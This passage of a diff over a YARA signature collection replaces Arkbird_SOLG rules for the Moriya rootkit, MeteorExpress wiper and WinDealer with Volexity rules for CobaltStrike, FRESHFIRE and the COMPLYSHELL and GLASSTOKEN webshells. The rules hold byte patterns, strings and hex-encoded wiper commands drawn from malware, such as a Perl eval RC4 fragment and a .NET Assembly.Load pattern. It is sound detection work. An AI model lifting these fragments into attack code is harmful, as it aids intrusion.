-		$s2 = "Moriya Filter" fullword wide
-		$s3 = "Moriya Callout" fullword wide
-		$s4 = "\\DosDevices\\MoriyaStreamWatchmen" fullword wide
+		$bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >6KB and (3 of ($seq*) or 2 of ($s*))
+		$bytes00 at 0
 }
-rule ARKBIRD_SOLG_MAL_Moriya_May_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Apt_Win_Flipflop_Ldr : APT29
 {
 	meta:
-		description = "Detect Moriya rootkit used in the TunnelSnake operation"
-		author = "Arkbird_SOLG"
-		id = "6a78ddc0-b39f-5aec-9c54-980854173abf"
-		date = "2020-05-07"
-		modified = "2021-05-26"
-		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_1.yara#L1-L27"
-		license_url = "N/A"
-		logic_hash = "f73049f261428c8921a2c8a86fb5d242719e5dc9f30a5c58e86be1a79d84a42d"
+		description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
+		author = "threatintel@volexity.com"
+		id = "58696a6f-55a9-5212-9372-a539cc327e6b"
+		date = "2021-05-25"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L3-L19"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330"
+		logic_hash = "a79d2b0700ae14f7a2af23c8f7df3df3564402b1137478008ccabefea0f543ad"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "3eda93de4a1e7a35c040fad914a4885d079ffc3c1362153b74e10ff9121de22b"
-		hash2 = "d620f9c32adc39b0632f22ec6a0503bf906fd1357f4435463fbb4b422634a536"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		quality = 80
+		tags = "APT29"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 4c 8d 05 13 10 00 00 ff 15 95 12 00 00 48 8d 15 36 10 00 00 48 8d 4d c0 ff 15 fc 12 00 00 48 8d 15 65 10 00 00 48 8d 4d d0 ff 15 eb 12 00 00 48 8d 05 cc 23 00 00 41 b9 22 00 00 00 48 89 44 24 30 4c 8d 45 c0 c6 44 24 28 00 33 d2 83 64 24 20 00 48 8b cb ff 15 f0 11 00 00 33 d2 41 8b ce 8b f8 85 c0 79 09 4c 8d 05 6e }
-		$seq2 = { 4c 8d 05 85 10 00 00 ff 15 27 12 00 00 48 8b 05 80 23 00 00 48 8d 55 c0 48 8d 4d d0 83 48 30 04 ff 15 be 11 00 00 e8 c5 01 00 00 33 d2 41 8b ce 85 c0 79 0c }
-		$seq3 = { 33 db 48 8b 74 24 30 4c 8b 7c 24 38 48 8b 7c 24 40 4c 8b 64 24 48 4d 8b ec 48 8d 4c 24 58 ff 15 b7 1c 00 00 48 8b 46 10 49 89 44 24 f8 48 8b 46 08 49 89 45 f0 41 80 65 bb 0f 8a 46 18 24 0f 41 08 45 bb 4c 8b 4e 08 }
-		$seq4 = { 48 83 64 24 58 00 ba 44 5c 00 00 c7 44 24 50 79 00 00 00 41 b9 76 00 00 00 c7 44 24 48 78 6f 00 00 41 b8 69 72 00 00 c7 44 24 40 72 70 00 00 c7 44 24 38 69 00 00 00 c7 44 24 30 73 6e 00 00 c7 44 24 28 5c 00 00 00 c7 44 24 20 72 65 00 00 e8 03 f6 ff ff 48 8d 55 80 48 8d 4c 24 70 ff 15 74 17 00 00 48 8d 05 2d 28 00 00 45 33 c9 48 89 44 24 38 45 33 c0 48 8b 05 eb 16 00 00 48 83 64 24 30 00 c6 44 24 28 00 41 8d 51 40 48 8b 08 48 89 4c 24 20 48 8d 4c 24 70 ff 15 d9 16 00 00 85 c0 78 31 48 8b 0d ee 27 00 00 48 8b 81 e0 00 00 00 48 89 05 d8 27 00 00 48 8d 05 19 f7 ff ff 87 81 e0 00 00 00 48 8b 0d cc 27 00 00 ff 15 c6 16 00 00 33 c0 48 8b 4d 00 48 33 cc e8 58 0b 00 00 48 81 c4 10 01 00 }
-		$seq5 = { 40 55 53 56 57 41 56 48 8d ac 24 40 ff ff ff 48 81 ec c0 01 00 00 48 8b 05 47 1e 00 00 48 33 c4 48 89 85 b8 00 00 00 48 83 64 24 38 00 49 8b d8 48 83 64 24 50 00 48 8b fa 48 8b f1 33 d2 41 b8 c8 00 00 00 48 8d 4c 24 60 4d 8b f1 e8 0b 06 00 00 33 c0 48 8d 4d 30 0f 57 c0 48 89 85 b0 00 00 00 33 d2 0f 11 85 90 00 00 00 44 8d 40 58 0f 11 85 a0 00 00 00 e8 e2 05 00 00 0f 10 07 48 83 64 24 20 00 48 8d 05 72 f8 ff ff 48 89 44 24 40 48 8d 54 24 28 48 8d 05 81 fd ff ff 4d 8b c6 48 8b cb 48 89 44 24 48 f3 0f 7f 44 24 28 e8 13 05 00 00 8b d8 85 c0 0f 88 da 00 00 00 0f 10 07 48 8b 0d f7 1f 00 00 48 8d 05 30 0a 00 00 45 33 c9 48 89 45 40 f3 0f 7f 45 30 45 33 c0 48 8d 55 30 0f 10 06 48 89 45 48 f3 0f 7f 45 70 e8 22 05 00 00 8b d8 85 c0 0f 88 93 00 00 00 0f 10 06 83 65 c0 00 48 8d 05 14 0a 00 00 0f 10 0d 5d 0f 00 00 83 a5 a0 00 00 00 00 48 8d 54 24 60 48 8b 0d 9a 1f 00 00 45 33 c9 f3 0f 7f 45 a0 48 89 44 24 70 45 33 c0 0f 10 07 48 89 44 24 78 48 8d 85 90 00 00 00 48 89 45 d8 48 8d 44 24 20 f3 0f 7f 45 e4 c7 45 e0 03 50 00 00 0f 10 05 ff 0e 00 00 c7 45 d0 01 00 00 00 f3 0f 7f 8d 90 00 00 00 c7 85 a8 00 00 00 00 01 00 00 f3 0f 7f 45 b0 48 89 85 b0 00 00 00 e8 91 04 00 00 8b d8 85 c0 79 08 41 8b 0e e8 35 04 00 00 8b c3 48 8b 8d b8 00 00 00 48 33 cc e8 96 02 00 00 48 81 c4 c0 01 00 00 41 5e 5f 5e 5b }
-		$s1 = "Moriya : NotifyFunction\n" fullword ascii
-		$s2 = "Moriya Filter" fullword wide
-		$s3 = "Moriya : DeviceControlDispatch!\n" fullword ascii
-		$s4 = "Moriya : Waiting...\n" fullword ascii
-		$s5 = "Moriya : WriteDispatch!\n" fullword ascii
-		$s6 = { 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
-		$s7 = { 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
-		$s8 = "Moriya start\n" fullword ascii
+		$s1 = "irnjadle"
+		$s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
+		$s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."
 
 	condition:
-		uint16(0)==0x5a4d and filesize >6KB and (3 of ($seq*) or 6 of ($s*))
+		all of ($s*)
 }
-rule ARKBIRD_SOLG_WIP_Meteorexpress_Aug_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Cobaltstrike : COMMODITY
 {
 	meta:
-		description = "Detect MeteorExpress/BreakWin wiper"
-		author = "Arkbird_SOLG"
-		id = "6dffc8c9-ccd0-5cf3-8f3c-38adad8508b2"
-		date = "2021-08-06"
-		modified = "2021-08-07"
-		reference = "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-07/BreakWin/WIP_MeteorExpress_Aug_2021_1.yara#L1-L26"
-		license_url = "N/A"
-		logic_hash = "80e40479d699b988d1282e407edd51b5e3ea796ebf380d82f5a5aafaacafe75d"
+		description = "The CobaltStrike malware family."
+		author = "threatintel@volexity.com"
+		id = "113ba304-261f-5c59-bc56-57515c239b6d"
+		date = "2021-05-25"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L21-L41"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
+		logic_hash = "1e8a68050ff25f77e903af2e0a85579be1af77c64684e42e8f357eee4ae59377"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b"
-		hash2 = "074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce"
-		hash3 = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4"
-		hash4 = "9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "COMMODITY"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 8d 04 2a 8b f1 3b c8 0f 42 f0 33 c9 8b c6 83 c0 01 0f 92 c1 f7 d9 0b c8 e8 42 00 00 00 53 68 18 2c 41 00 50 89 44 24 1c 89 5f 10 89 77 14 e8 aa 20 00 00 8b 74 24 1c 83 c4 0c c6 04 1e 00 83 fd 10 72 0a 8b 0f 8d 55 01 e8 50 00 00 00 5d 89 37 8b c7 5f 5e 5b 59 }
-		$s2 = { 68 cc 00 00 00 b8 [3] 00 e8 [2] 00 00 8b f1 89 75 8c 83 4d d4 ff 33 c0 83 4d d8 ff 6a 44 5f 57 50 89 45 dc 89 45 e0 8d 45 90 50 e8 [3] 00 8d 46 1c 89 7d 90 83 c4 0c 83 78 14 08 72 02 8b 00 89 45 98 8d 7d e4 33 c0 83 c6 04 ab 8b ce 83 7e 14 08 ab ab 72 02 8b 0e 8b 46 10 8d 04 41 8b ce 72 02 8b 0e ff 75 8c 33 d2 50 51 8d 4d e4 89 55 e4 89 55 e8 89 55 ec e8 [2] fd ff 33 d2 89 55 fc 8b 45 e8 89 55 88 39 45 ec 74 0d 33 c9 66 89 08 83 c0 02 89 45 e8 eb 0f 8d 4d 88 51 50 8d 4d e4 e8 3c 02 00 00 33 d2 8b 7d 8c 8d 4d d4 51 8d 4d 90 51 8b 47 34 52 52 52 52 52 52 ff 75 e4 52 ff 70 04 ff 15 08 [2] 00 85 c0 74 28 ff 75 d8 8d 4f 3c e8 [2] ff ff ff 75 d4 8d }
-		$s3 = { 8b ec 83 e4 f8 83 ec 7c a1 14 50 41 00 33 c4 89 44 24 78 8b 45 0c 8b 4d 08 89 0c 24 53 56 57 83 e8 01 0f 84 05 01 00 00 83 e8 01 0f 84 23 01 00 00 83 e8 0d 74 15 ff 75 14 ff 75 10 ff 75 0c 51 ff 15 2c e1 40 00 e9 0b 01 00 00 8d 44 24 40 c6 05 f4 63 41 00 01 50 51 ff 15 30 e1 40 00 8b d8 6a 00 89 5c 24 18 ff 15 10 e0 40 00 8b f0 8d 44 24 48 56 50 53 ff 15 28 e1 40 00 56 ff 15 0c e0 40 00 83 3d f8 63 41 00 00 0f 84 8d 00 00 00 53 ff 15 04 e0 40 00 ff 35 f8 63 41 00 89 44 24 14 50 ff 15 00 e0 40 00 8b d8 8d 44 24 18 50 6a 18 ff 35 f8 63 41 00 ff 15 14 e0 40 00 8b 7c 24 20 8d 44 24 30 8b 74 24 1c 50 ff 74 24 10 ff 15 44 e1 40 00 8b 44 24 38 2b c6 8b 74 24 10 68 20 00 cc 00 99 2b c2 6a 00 8b c8 8b 44 24 44 6a 00 56 ff 74 24 30 2b c7 d1 f9 ff 74 24 30 99 2b c2 d1 f8 50 51 ff 74 24 34 ff 15 18 e0 40 00 53 56 ff 15 00 e0 40 00 56 ff 15 08 e0 40 00 8d 44 24 40 }
-		$s4 = { 38 1b 38 26 38 2e 38 39 38 3f 38 4a 38 50 38 5e 38 67 38 6c 38 79 38 7e 38 ec 38 }
-		$s5 = { 55 8b ec 51 a1 60 57 41 00 83 f8 fe 75 0a e8 8e 0d 00 00 a1 60 57 41 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 1b 6a 00 8d 4d fc 51 6a 01 8d 4d 08 51 50 ff 15 50 e0 40 00 85 c0 74 e2 66 8b 45 08 8b }
-		$s6 = { 69 63 61 63 6c 73 2e 65 78 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 44 61 74 61 5c 53 2d 31 2d 35 2d 31 38 5c 52 65 61 64 4f 6e 6c 79 22 20 2f 72 65 73 65 74 20 2f 54 }
-		$s7 = { 77 6d 69 63 20 63 6f 6d 70 75 74 65 72 73 79 73 74 65 6d 20 77 68 65 72 65 20 6e 61 6d 65 3d 22 25 63 6f 6d 70 75 74 65 72 6e 61 6d 65 25 22 20 63 61 6c 6c 20 75 6e 6a 6f 69 6e 64 6f 6d 61 69 6e 6f 72 77 6f 72 6b 67 72 6f 75 70 }
-		$s8 = { 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 }
-		$s9 = { 8b 55 ?? 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 08 ff 15 ?? ?? 47 00 8b d0 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 09 8d 45 ?? 50 8d 45 ?? 50 8d 4d ?? e8 ?? ?? ?? ff 83 ec 0c 8b cc 89 65 ?? 51 ff 70 04 ff 30 e8 ?? ?? ?? ff c6 45 fc 0a 83 ec 18 8b cc 89 65 ?? 68 ?? ?? 48 00 e8 ?? ?? ?? ff c6 45 fc 0b c6 45 fc 09 8d }
+		$s1 = "%s (admin)" fullword
+		$s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
+		$s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
+		$s4 = "%s as %s\\%s: %d" fullword
+		$s5 = "%s&%s=%s" fullword
+		$s6 = "rijndael" fullword
+		$s7 = "(null)"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and 4 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_Sidewinder_Nov_2020_1 : FILE
+import "pe"
+
+rule VOLEXITY_Apt_Win_Freshfire : APT29
 {
 	meta:
-		description = "Detect Sidewinder DLL decoder algorithm"
-		author = "Arkbird_SOLG"
-		id = "9e948949-f38d-5a76-a34c-965ec9be070d"
-		date = "2020-11-14"
-		modified = "2020-11-15"
-		reference = "https://twitter.com/hexfati/status/1325397305051148292"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-15/APT_SideWinder_Nov_2020_1.yar#L1-L12"
-		license_url = "N/A"
-		logic_hash = "661eb5510ff0aa59b38b2c023653f0a23867a2813d854fbd0a7a6b657d9ba671"
+		description = "The FRESHFIRE malware family. The malware acts as a downloader, pulling down an encrypted snippet of code from a remote source, executing it, and deleting it from the remote server."
+		author = "threatintel@volexity.com"
+		id = "050b8e61-139a-5ff5-998a-7de67c9975bf"
+		date = "2021-05-27"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L43-L67"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "ad67aaa50fd60d02f1378b4155f69cffa9591eaeb80523489a2355512cc30e8c"
+		logic_hash = "69cd73f5812ba955c1352fb1552774d5cf49019d6b65a304fd1e33f852e678ba"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "8d7ad2c603211a67bb7abf2a9fe65aefc993987dc804bf19bafbefaaca066eaa"
+		quality = 80
+		tags = "APT29"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s = { 13 30 05 00 ?? 00 00 00 01 00 00 11 ?? ?? 00 00 ?? ?? ?? 00 00 [30-80] 2B 16 07 08 8F 1? }
+		$uniq1 = "UlswcXJJWhtHIHrVqWJJ"
+		$uniq2 = "gyibvmt\x00"
+		$path1 = "root/time/%d/%s.json"
+		$path2 = "C:\\dell.sdr"
+		$path3 = "root/data/%d/%s.json"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >3KB and $s
+		(pe.number_of_exports==1 and pe.exports("WaitPrompt")) or any of ($uniq*) or 2 of ($path*)
 }
-rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_2 : FILE
+rule VOLEXITY_Apt_Webshell_Pl_Complyshell : UTA0178 FILE MEMORY
 {
 	meta:
-		description = "Detect modules from WinDealer implant"
-		author = "Arkbird_SOLG"
-		id = "3cca1fa1-2651-5a93-bef1-d32a7b5be4c9"
-		date = "2021-10-30"
-		modified = "2021-10-31"
-		reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_2.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "c2fb5697dcdb34e0fb3e2dbd2df05748eddc2796c253e90503372eb73c475fab"
+		description = "Detection for the COMPLYSHELL webshell."
+		author = "threatintel@volexity.com"
+		id = "6b44b5bc-a75f-573c-b9c3-562b7874e408"
+		date = "2023-12-13"
+		modified = "2024-01-09"
+		reference = "TIB-20231215"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L1-L22"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "ff46691f1add20cff30fe996e2fb199ce42408e86d5642a8a43c430f2245b1f5"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0c365d9730a10f1a3680d24214682f79f88aa2a2a602d3d80ef4c1712210ab07"
-		hash2 = "2eef273af0c768b514db6159d7772054d27a6fa8bc3d862df74de75741dbfb9c"
-		tlp = "white"
-		adversary = "LuoYu"
+		quality = 80
+		tags = "UTA0178, FILE, MEMORY"
+		hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9995
+		version = 4
 
 	strings:
-		$s1 = { 81 ec f0 03 00 00 53 55 8b d9 56 8d 44 24 0c 57 8d 4c 24 18 50 51 c7 44 24 18 f4 01 00 00 ff 15 0c [2] 10 85 c0 0f 85 ?? 01 00 00 68 [3] 10  }
-		$s2 = { 81 ec 24 03 00 00 53 56 8d 44 24 18 57 50 68 03 01 00 00 6a 00 68 [2] 03 10 68 01 00 00 80 c7 44 24 20 00 00 00 00 ff 15 10 [2] 10 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 20 51 52 8b 1d 00 [2] 10 50 68 3f 01 0f 00 50 50 50 8b 44 24 38 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 10 51 52 50 68 3f 01 0f 00 50 50 50 8b 44 24 3c 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 bf [2] 03 10 83 c9 ff f2 ae f7 d1 2b f9 8d ?? 24 }
-		$s3 = "%s\\%s\\V5_History.dat" wide
-		$s4 = { 8b 8c 24 2c 02 00 00 8b 94 24 28 02 00 00 55 57 51 52 8d 44 24 24 53 50 89 74 24 2c e8 05 fb ff ff b9 41 00 00 00 33 c0 8d bc 24 34 01 00 00 83 c4 18 f3 ab 8d 8c 24 1c 01 00 00 51 68 04 01 00 00 ff 15 [2] 03 10 b9 41 00 00 00 33 c0 8d 7c 24 18 50 f3 ab [3] 01 }
-		$s5 = { 56 6a 10 e8 [3] 00 8b f0 85 f6 74 3a 8b 4c 24 0c 8d 46 04 85 c9 c7 06 [3] 10 c7 00 00 00 00 00 50 74 11 8b 44 24 0c 50 e8 [3] 00 89 46 08 8b c6 5e c3 8b 4c 24 0c 51 e8 [3] 00 89 46 08 8b c6 5e c3 33 }
+		$s = "eval{my $c=Crypt::RC4->new("
 
 	condition:
-		uint16(0)==0x5A4D and filesize >80KB and 4 of ($s*)
+		$s
 }
-rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_1 : FILE
+rule VOLEXITY_Apt_Webshell_Aspx_Glasstoken : UTA0178 FILE MEMORY
 {
 	meta:
-		description = "Detect WinDealer implant"
-		author = "Arkbird_SOLG"
-		id = "7ffece8a-b56a-5893-a135-3001c0327f66"
-		date = "2021-10-30"
-		modified = "2021-10-31"
-		reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "b6211274a0ffa55723d3c34763540278197507b4bd4b853249e16501a3aa5acb"
+		description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."
+		author = "threatintel@volexity.com"
+		id = "5d96294c-aa61-5752-ab06-d5b27f6ac3a1"
+		date = "2023-12-12"
+		modified = "2024-01-09"
+		reference = "TIB-20231215"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L24-L49"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "34844dc2ba4b18b25dcb5b14b7b80ec655595c9638600a0f2a6367610c542dd1"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128"
-		hash2 = "b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a"
-		tlp = "white"
-		adversary = "LuoYu"
+		quality = 80
+		tags = "UTA0178, FILE, MEMORY"
+		hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9994
+		version = 5
 
 	strings:
-		$s1 = { 8b ec 81 ec 64 03 00 00 53 56 33 db 6a 64 8d 45 9c 53 50 e8 [2] 00 00 be 00 01 00 00 8d 85 9c fc ff ff 56 53 50 e8 [2] 00 00 56 8d 85 9c fd ff ff 53 50 e8 [2] 00 00 56 8d 85 9c fe ff ff 53 50 e8 [2] 00 00 83 c4 30 8d 45 9c 6a 64 50 ff 15 [2] 41 00 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 38 9d 9c fe ff ff 5e 5b 75 20 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 68 [2] 41 00 ff 75 08 ff 15 [2] 41 00 83 c4 14 6a }
-		$s2 = { 8b ec b8 40 1c 00 00 e8 [2] 00 00 56 57 33 ff 68 [2] 41 00 89 7d f8 ff 15 [2] 41 00 8b f0 6a 32 8d 45 c0 57 50 e8 [2] 00 00 83 c4 10 3b f7 74 1c 6a 5c 56 ff 15 [2] 41 00 59 3b c7 59 74 0d 40 50 8d 45 c0 50 e8 [2] 00 00 59 59 be 00 04 00 00 8d 85 c0 f7 ff ff 56 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 fb fd ff ff 83 c4 14 39 7d fc 75 24 56 8d 85 c0 f7 ff ff 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 ?? fc ff ff 83 c4 14 56 8d 85 c0 fb ff ff 57 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 83 c4 14 83 7d fc 0a 7e 3e 83 f8 0a 7e 6d 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 f7 ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 4d fd ff ff 83 c4 1c 89 45 f8 eb 5c 83 f8 0a 7e 2f 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 16 fd ff ff 83 c4 18 eb c7 6a 43 8d 45 f4 68 [2] 41 00 50 ff 15 [2] 41 00 83 c4 0c 8d 45 f8 57 57 57 57 50 57 8d 45 f4 57 50 ff 15 [2] 41 00 8b 45 f8 }
-		$s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4e 65 74 77 6f 72 6b 5c 7b 34 44 33 36 45 39 37 32 2d 45 33 32 35 2d 31 31 43 45 2d 42 46 43 31 2d 30 38 30 30 32 42 45 31 30 33 31 38 7d 5c 25 73 5c 43 6f 6e 6e 65 63 74 69 6f 6e }
-		$s4 = { 6d 61 63 3a 20 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 }
-		$s5 = { 8b d8 59 85 db 59 74 57 56 e8 [2] 00 00 03 d8 53 ff 15 [2] 41 00 6a 00 50 e8 [2] ff ff 6a 64 8d 45 9c 6a 00 50 e8 [2] 00 00 83 c4 1c 8d 45 9c 68 [2] 41 00 68 [2] 41 00 50 ff 15 [2] 41 00 66 8b 8f d2 07 00 00 51 8a 8f d0 07 00 00 51 50 8d 45 9c 50 e8 ?? f1 ff ff 83 c4 1c 5f 5e 33 c0 5b c9 c3 55 }
+		$s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii
+		$re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/
 
 	condition:
-		uint16(0)==0x5A4D and filesize >80KB and 4 of ($s*)
+		for any i in (0..#s1) : ($re in (@s1[i]..@s1[i]+512))
 }
-rule ARKBIRD_SOLG_APT_Oilrig_VBS_2016_1 : FILE
+rule VOLEXITY_Webshell_Aspx_Regeorg : FILE MEMORY
 {
 	meta:
-		description = "Detect VBS script in base 64 used by OilRig (2016)"
-		author = "Arkbird_SOLG"
-		id = "5cc3a3f1-4f2f-56c4-af69-8652d22b6730"
